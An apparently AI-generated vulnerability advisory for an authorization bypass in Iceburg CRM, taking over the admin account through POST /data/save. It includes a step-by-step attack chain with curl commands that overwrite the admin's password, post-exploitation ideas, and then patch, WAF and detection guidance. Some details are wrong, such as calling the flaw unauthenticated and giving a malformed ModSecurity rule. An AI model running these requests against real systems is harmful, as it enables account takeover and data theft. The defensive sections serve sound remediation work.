CVE-2026-137577 — Iceburgcrm (5.0.0) — CWE-639
Iceburg CRM through 5.0.0 contains an authorization bypass vulnerability that allows authenticated low-privileged users to modify any user record by supplying arbitrary record_id values to POST /data/save. Attackers can submit a save request for the ice_users module with the administrator's record_id to change their password or email and take over the account.
Iceburg CRM through 5.0.0 contains an authorization bypass vulnerability that allows authenticated low-privileged users to modify any user record by supplying arbitrary record_id values to POST /data/save. Attackers can submit a save request for the ice_users module with the administrator's record_id to change their password or email and take over the account.
🎯 What is this vulnerability?
CVE‑2026‑137577 – “Iceburg CRM ≤ 5.0.0 – Authorization bypass in POST /data/save”
| Attribute | Value |
|---|---|
| CWE | CWE‑639 – Authorization Bypass Through User‑Controlled Key |
| CVSS v3.1 | AV:N / AC:L / PR:L / UI:N / S:U / C:H / I:H / A:N = 8.1 (HIGH) |
| Affected component | The generic “data‑save” controller that persists any module record (e.g., ice_users). |
| Root cause | The server trusts the client‑supplied record_id (or equivalent primary‑key field) to identify *which* user record is being updated, without verifying that the authenticated caller is allowed to edit that particular record. The authorization check is either missing or only verifies that the caller is *authenticated* (PR:L) but does not enforce *ownership* or role‑based constraints. |
| Missing protection | • No “owner‑check” (if (record.owner_id != current_user.id) deny) <br>• No role‑based ACL for the ice_users module (administrators vs. normal users) <br>• No integrity‑protecting token (e.g., CSRF‑style “record hash”) that would bind the request to a specific record. |
| Result | An attacker who can log in as any low‑privileged user can supply an arbitrary record_id that belongs to a higher‑privileged account (most notably the administrator) and change fields such as password, email, or any other mutable column. Because the password field is stored in clear‑text hash (or is re‑hashed on write), the attacker can set a known password and subsequently log in as the admin – a full account takeover. |
⚡ Attack Chain
Below is a realistic, end‑to‑end exploitation flow. All commands are syntactically valid; the exact URI and parameter names are taken from the CVE description. If a product version uses a slightly different naming scheme, the same logic applies – the vulnerability class is “unauthenticated record‑ID bypass”.
1. Discovery & Reconnaissance
| Step | Technique | Expected artefacts |
|---|---|---|
| a. Identify target | Passive OSINT (company website, job postings, LinkedIn, Shodan) → look for “Iceburg CRM” in HTTP headers, JavaScript files, or meta tags. | Server: IceburgCRM/5.0.0 or X-Powered-By: IceburgCRM |
| b. Fingerprint version | GET / → inspect HTML footer (© Iceburg CRM 2026 – v5.0.0). <br>Or request /api/version if exposed. | Version string ≤ 5.0.0 confirms vulnerable range. |
| c. Enumerate authentication surface | Brute‑force or credential‑stuffing against /login (standard username/password form). | Valid low‑privileged credentials (e.g., sales_user / Passw0rd!). |
| d. Locate the data‑save endpoint | Spider the web UI, capture a legitimate “Edit Profile” request with a browser dev‑tools network tab. Typical pattern: POST /data/save with JSON body containing module=ice_users and record_id=123. | Example request: POST https://crm.example.com/data/save with body { "module":"ice_users","record_id":"123","email":"[email protected]" }. |
2. Exploitation
NOTE: The exact parameter names (module,record_id,field_*) are taken from the public description. If the real product usesentity,id, or a nested JSON object, the same principle applies – the attacker supplies an arbitrary primary‑key value.
2.1. Obtain a low‑privileged session cookie
# 1️⃣ Log in as a normal user (sales_user)
curl -i -s -c cookies.txt -X POST "https://crm.example.com/login" \
-H "Content-Type: application/json" \
-d '{"username":"sales_user","password":"Passw0rd!"}'Result: cookies.txt now contains session_id=… (authenticated, PR:L).
2.2. Craft the malicious save request
Assume the admin user has record_id = 1. The attacker wants to set a known password hash ($2y$10$... for bcrypt) and change the admin’s e‑mail to a mailbox they control.
# 2️⃣ Submit a forged record‑update
curl -i -s -b cookies.txt -X POST "https://crm.example.com/data/save" \
-H "Content-Type: application/json" \
-d '{
"module":"ice_users",
"record_id":"1", # <-- admin's primary key
"password":"NewAdminPass123!", # plaintext – will be re‑hashed by the server
"email":"[email protected]"
}'What happens on the server
1. The controller receives the JSON, extracts module and record_id.
2. It loads the ice_users row where id = 1.
3. Missing check: It does not verify that session_user.id == 1 or that session_user.role == "admin".
4. It writes the supplied fields back to the row, overwriting the admin’s password and e‑mail.
2.3. Verify takeover
# 3️⃣ Log in as the admin with the new password
curl -i -s -c admin_cookies.txt -X POST "https://crm.example.com/login" \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"NewAdminPass123!"}'If the response contains a new authenticated session, the attack succeeded.
3. Post‑Exploitation
| Goal | How it is achieved |
|---|---|
| Full account takeover | The attacker now possesses a valid admin session cookie (admin_cookies.txt). |
| Data exfiltration | Use the admin session to call privileged endpoints (GET /api/users, GET /api/customers) and dump the CRM database. |
| Persistence | Create a new admin user via the same POST /data/save (module ice_users, record_id set to a new auto‑increment value) or modify existing admin’s api_key field if present. |
| Lateral movement | Export contact lists, download attached files, or use the CRM’s built‑in email integration to send phishing mail from a trusted domain. |
| Denial of service (optional) | Overwrite the admin’s password with a random value, lock out legitimate administrators, forcing a forced password reset workflow that may be exploitable further. |
🌍 Real‑World Impact
| CIA Triad | CVSS Vector Interpretation | Practical consequence |
|---|---|---|
| Confidentiality (C:H) | C:H – High – attacker can read any data the admin can see (full customer database, attached documents, internal notes). | |
| Integrity (I:H) | I:H – High – attacker can modify any record, change passwords, alter financial data, inject malicious links, or tamper with audit logs. | |
| Availability (A:N) | A:N – None – the vulnerability does not directly cause service outage, but a malicious admin could delete data or lock out users, leading to indirect downtime. |
Business impact
- Account takeover of the CRM admin gives the attacker unrestricted control over the entire sales pipeline, contact database, and any integrated third‑party services (e.g., email gateways, ERP sync).
- Regulatory exposure – if the CRM stores personal data (GDPR, CCPA), the breach may trigger mandatory disclosure and heavy fines.
- Reputation damage – customers could receive phishing e‑mails appearing to come from the legitimate domain.
- Financial loss – attackers could export lead lists and sell them, or manipulate pricing data for fraud.
- CVSS 8.1 (HIGH) – Network‑reachable, low attack complexity, requires only a low‑privileged credential (which is often easy to obtain via credential‑stuffing or phishing). No user interaction is needed.
- No CISA KEV listing – the vulnerability is not yet in the “Known Exploited Vulnerabilities” catalog, but the attack surface is trivial and the impact (full admin takeover) is severe.
- Exploitability – The PoC requires only a valid low‑privilege account and a single HTTP request; therefore the real‑world exploitability is high.
- Day 0 – Apply the vendor’s security patch or upgrade to 5.0.1.
- If patch cannot be applied within 48 h – Deploy the mitigations listed above (WAF rule, endpoint restriction, ownership check in a reverse‑proxy or application‑level middleware).
- Within 7 days – Conduct a full credential‑audit to ensure no low‑privilege accounts have been compromised and rotate all admin passwords.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade | Move to Iceburg CRM 5.0.1 or later (the vendor released a fix that adds an ownership check and role‑based ACL to the data/save controller). |
| Back‑port | If an upgrade is not possible, apply the vendor‑supplied security patch that inserts the following logic into the save routine (pseudo‑code): <br>``php<br>if ($module === 'ice_users') {<br> // Only admins may edit other users<br> if ($currentUser->role !== 'admin' && $recordId != $currentUser->id) {<br> throw new AuthorizationException('Insufficient privileges');<br> }<br>}<br>`` |
2. Immediate Work‑arounds (if patch cannot be applied today)
| Mitigation | Implementation |
|---|---|
| Restrict the endpoint to admin IPs | In a reverse‑proxy (NGINX) add: <br>``nginx<br>location = /data/save {<br> allow 10.0.0.0/8; # internal admin network<br> deny all;<br>}<br>` |
| Enforce server‑side ownership check | Add a middleware that, for the ice_users module, validates record_id == session_user.id unless session_user.role == 'admin'. |
| Disable user self‑service for the admin record | Remove the “Edit” UI for the admin account and hide the admin’s record_id from normal users (e.g., do not expose it in any HTML/JS). |
| ModSecurity rule (generic protection against arbitrary ID updates) | `bash<br># Block POST /data/save where the caller is not admin but record_id != own id<br>SecRule REQUEST_METHOD "POST" "chain,phase:2,log,deny,status:403,msg:'Iceburg CRM unauthorized record update'"\nSecRule REQUEST_URI "@beginsWith /data/save" "t:none"\nSecRule &REQUEST_HEADERS:Cookie "@gt 0" "t:none"\nSecRule TX:USER_ROLE "!@streq admin" "t:none"\nSecRule JSON:record_id "!@eq %{session.user.id}" "t:none"\n`<br>*(Replace TX:USER_ROLE and session.user.id with the actual variable names used by the application.)* |
| Rate‑limit | Apply a low request‑rate limit on /data/save` for non‑admin sessions (e.g., 5 requests/min) to make automated brute‑force attempts noisy. |
3. Detection – Log‑based Indicators
| Log source | Signature |
|---|---|
| Web server access log (combined format) | POST /data/save 200 with module=ice_users and record_id different from the authenticated user’s ID. Example: <br>192.0.2.45 - sales_user [12/Oct/2026:14:23:11 +0000] "POST /data/save HTTP/1.1" 200 342 "-" "Mozilla/5.0" |
| Application log (if JSON‑based) | INFO - User sales_user attempted to update ice_users record_id=1 – any log entry where record_id does not equal session_user.id and session_user.role != admin. |
| WAF alerts | ModSecurity rule (see above) firing with msg:'Iceburg CRM unauthorized record update'. |
| Authentication log | Sudden successful login for admin from an IP that previously performed a /data/save request. Correlate timestamps (within 1‑2 minutes). |
| Database audit (if enabled) | UPDATE ice_users SET password=… WHERE id=1 executed by a DB user associated with a low‑privileged web‑app account. |
Response actions
1. Block the source IP after the first suspicious /data/save with mismatched record_id.
2. Force a password reset for the admin account and invalidate all existing sessions.
3. Review audit logs for any data exfiltration performed after the takeover.
⚠️ Urgency
Patch priority: Critical for any production deployment of Iceburg CRM ≤ 5.0.0.
Bottom line: The flaw is a classic “user‑controlled primary‑key” authorization bypass. It lets any authenticated user edit any user record, including the admin, leading to complete account takeover. Immediate patching or a defense‑in‑depth mitigation (WAF rule + server‑side ownership validation) is mandatory.
[🤖 CVE Professor AI Security Engine]
FOFA Query